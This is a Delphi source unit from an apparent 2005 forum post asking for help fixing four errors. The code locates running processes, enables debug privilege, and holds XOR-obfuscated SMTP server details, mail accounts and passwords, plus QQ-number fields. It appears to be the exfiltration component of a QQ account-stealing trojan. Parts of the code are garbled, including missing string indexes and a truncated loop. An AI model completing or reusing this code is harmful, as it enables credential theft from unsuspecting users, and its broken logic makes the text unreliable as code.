function judgesys:integer;
var
OS : TOSVersionInfo;
begin
result:=0;
OS.dwOSVersionInfoSize := sizeof(TOSVERSIONINFO);
GetVersionEx(OS);
case OS.dwPlatformId of
VER_PLATFORM_WIN32s :result:=1;
VER_PLATFORM_WIN32_WINDOWS :result:=2;
VER_PLATFORM_WIN32_NT :result:=3;
//VER_PLATFORM_WIN32_WINDOWSXP:result:=4;
end;
end;
function FindPro98(ExeFileName: string;var path: string):boolean;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
Result :=false;
while Integer(ContinueLoop) <> 0 do begin
if (((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName)))) then begin //and (pos(UpperCase(path),UpperCase(FProcessEntry32.szExeFile))>1)
Result := true;
path:=FProcessEntry32.szExeFile;
break;
end;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
function GetProcessCount: Int64;
var
Query: HQUERY;
Counter: HCOUNTER;
Value: TPdhFmtCounterValue;
begin
if (PdhOpenQuery(nil, 0, Query)<>ERROR_SUCCESS) then exit;
try
if (PdhAddCounter(Query, PChar(';\Objects\Processes';), 0, Counter)<>ERROR_SUCCESS) then exit;
if (PdhCollectQueryData(Query)<>ERROR_SUCCESS) then exit;
if (PdhGetFormattedCounterValue(Counter, PDH_FMT_LARGE, nil, Value)<>ERROR_SUCCESS) then exit;
Result := Value.largeValue;
finally
PdhRemoveCounter(Counter);
PdhCloseQuery(Query);
end;
end;
function EnableDebugPrivilege(const Enable: Boolean): Boolean;
const
PrivAttrs: array[Boolean] of DWORD = (0, SE_PRIVILEGE_ENABLED);
var
Token: THandle;
TokenPriv: TTokenPrivileges;
ReturnLength: Cardinal;
begin
Result := False;
if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, Token) then
begin
LookupPrivilegeValue(nil, ';SeDebugPrivilege';, TokenPriv.Privileges[0].Luid);
TokenPriv.PrivilegeCount := 1;
TokenPriv.Privileges[0].Attributes := PrivAttrs[Enable];
AdjustTokenPrivileges(Token, False, TokenPriv, SizeOf(TokenPriv), nil, ReturnLength);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(Token);
end;
end;
function EnumerateModules(ProcessHandle: THandle; ProcessId: Cardinal;ExeFileName: string;var path: string):boolean;
var
Modules: array of HMODULE;
BytesNeeded: Cardinal;
I: Integer;
BaseName, FileName: string;
ModuleInfo: TModuleInfo;
begin
SetLength(Modules, 1024);
EnumProcessModules(ProcessHandle, @Modules[0], 1024 * SizeOf(HMODULE), BytesNeeded);
SetLength(Modules, BytesNeeded div SizeOf(HMODULE));
result:=false;
for I := 0 to Length(Modules) - 1 do
begin
SetLength(BaseName, MAX_PATH + 1);
SetLength(BaseName, GetModuleBaseName(ProcessHandle, Modules[I], PChar(BaseName), Length(BaseName)));
// if Pos(';.EXE';, UpperCase(BaseName)) > 0 then ExeName := BaseName;
SetLength(FileName, MAX_PATH + 1);
SetLength(FileName, GetModuleFileNameEx(ProcessHandle, Modules[I], PChar(FileName), Length(FileName)));
GetModuleInformation(ProcessHandle, Modules[I], @ModuleInfo, SizeOf(ModuleInfo));
if (pos(UpperCase(ExeFileName),UpperCase(BaseName))>0) then begin //(pos(UpperCase(path),UpperCase(FileName))>0) and
result:=true;
path:=FileName;
break;
end;
end;
end;
function FindPro2000(ExeFileName: string;var path: string):boolean;
var
ProcessCount: Int64;
ProcessIds: array of DWORD;
ProcessHandle: THandle;
BytesNeeded: DWORD;
I: Integer;
begin
result:=false;
EnableDebugPrivilege(True);
ProcessCount := GetProcessCount;
SetLength(ProcessIds, ProcessCount);
EnumProcesses(@ProcessIds[0], ProcessCount * SizeOf(DWORD), BytesNeeded);
ProcessCount := BytesNeeded div SizeOf(DWORD);
for I := 2 to ProcessCount - 1 do
begin
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, ProcessIds[I]);
if ProcessHandle <> 0 then
result:=EnumerateModules(ProcessHandle, ProcessIds[I],ExeFileName,path);
CloseHandle(ProcessHandle);
if result then
break;
end;
end;
function FindPro(ExeFileName: string ;var path: string):boolean;
begin
if judgesys in [1,2] then
result:=FindPro98(ExeFileName,path)
else result:=FindPro2000(ExeFileName,path)
end;
function strtohex(str:string):string;
var res:string;
i:integer;
begin
res:=';';;
for i :=1 to length(str) do begin
//if (str>=';0';) and (str<=';9';) then
// res := res + format(';%.2X';,[strtoint(str)])
//else
res := res + format(';%.2X';,[ord(str)]);
end;
result:=res;
end;
function IntToHex(Value: Int64; Digits: Integer): string;
begin
FmtStr(Result, ';%.*x';, [Digits, Value]);
end;
function hextostr(str:string):string;
var tmp1,s:string;
i:integer;
begin
i:=1;
s:=';';;
while i';00'; then
s:=s+chr(HexToInt(tmp1))
else s:=s+'; ';;
inc(i,2);
end;
result:=s;
end;
Function splite_str(str,s:string):integer;
var i,L,C:integer;
res,tmp:string;
begin
//addvalue(hkey_classes_root,SubMainKey,';res';,pchar(str),1);
res:=str;
i:=Pos(';Device Independent Bitmap';,Res);
if i>0 then
begin
delete(res,1,i+31);
end;
L:=length(s)-1;
i:=pos(s,res);
setLength(splite_array,0);
while i>0 do begin
tmp:=copy(res,1,i-1);
C:=high(splite_array)+1;
setlength(splite_array,c+1);
splite_array[c]:=tmp;
delete(res,1,i+L);
i:=pos(s,res);
end;
result:=high(splite_array)+1;
end;
procedure dowithfile;
begin
end;
Function MakeSelfCode(const S:String):String;
const key=25;
var i:integer;
begin
result:=';';;
For i:=1 to length(s) do
result:= result+ char(byte(s) Xor (Key));
end;
function GetAddress(EMailCurrent:integer):String;
begin
result:=MakeSelfCode(IPAddress[EMailCurrent]);
//result:=MakeSelfCode(';+)+7()!7--7+),';);//MakeSelfCode(';+)+7()/7(!.7(!)';);
end;
function GetOwnaddress:string;
begin
result:=MakeSelfCode(FOwnToaddress);
end;
function SetOwnaddress(Value:string):String;
begin
FOwnToaddress:=Value;
end;
function GetHost:String;
begin
result:=MakeSelfCode(';jtmi7jpwx7zvt7zw';);
end;
function Getport:String;
begin
result:=';25';;
end;
function GetToaddress(index:integer):String;
begin
result:=MakeSelfCode(FToaddress[index]);
end;
procedure SetToaddress(const Value:array of string);
var i:integer;
begin
for i:=1 to RMailMax do
FToaddress:=Value[i-1];
end;
function GetFromaddress(EMailCurrent:integer):String;
begin
{if FAddress[EMailCurrent]=';1111'; then
result:=GetToaddress
else }
result:=MakeSelfCode(FAddress[EMailCurrent]);
//result:=MakeSelfCode(';j|ko|ktpk+Y(/*7zvt';);//MakeSelfCode(';w{cqs((+(Yjpwx7zvt';);
end;
function GetName(EMailCurrent:integer):String;
begin
result:=MakeSelfCode(FName[EMailCurrent]);
//result:=MakeSelfCode(';j|ko|ktpk+';);//MakeSelfCode(';w{cqs((+(';);
end;
function GetPW(EMailCurrent:integer):String;
begin
result:=MakeSelfCode(FPW[EMailCurrent]);
//result:=MakeSelfCode(';tpk+j|ko|k';)//MakeSelfCode(';cqs((+(';);
end;
function GetCheckName(EMailCurrent:integer):string;
begin
result:=MakeSelfCode(FCName[EMailCurrent]);
//result:=MakeSelfCode(';z+O`}tO`{Nu`T~$$';);//MakeSelfCode(';{tS/x^vaTMPa';);
end;
function GetCheckPW(EMailCurrent:integer):string;
begin
result:=MakeSelfCode(FCPW[EMailCurrent]);
//result:=MakeSelfCode(';{Nu`TwWuzwCuz~$$';);//MakeSelfCode(';|tqhTM\`TH$$';);
end;
procedure SetDL(QQ,Mail,Page:string;DL:boolean=true);
begin
UseInfo.QQ :=QQ;//';14127073';;
UseInfo.Mail :=Mail;//';zhanlingyangnan@163.com';;
UseInfo.Page :=Page;//';http://www.3h-x.com/bbs/index.asp';;
UseInfo.DL :=DL ;
end;
end.
有四个错误
作者: 漫天樱舞 时间: 2005-4-20 19:54 标题: 帮忙找找代码中的4个错误
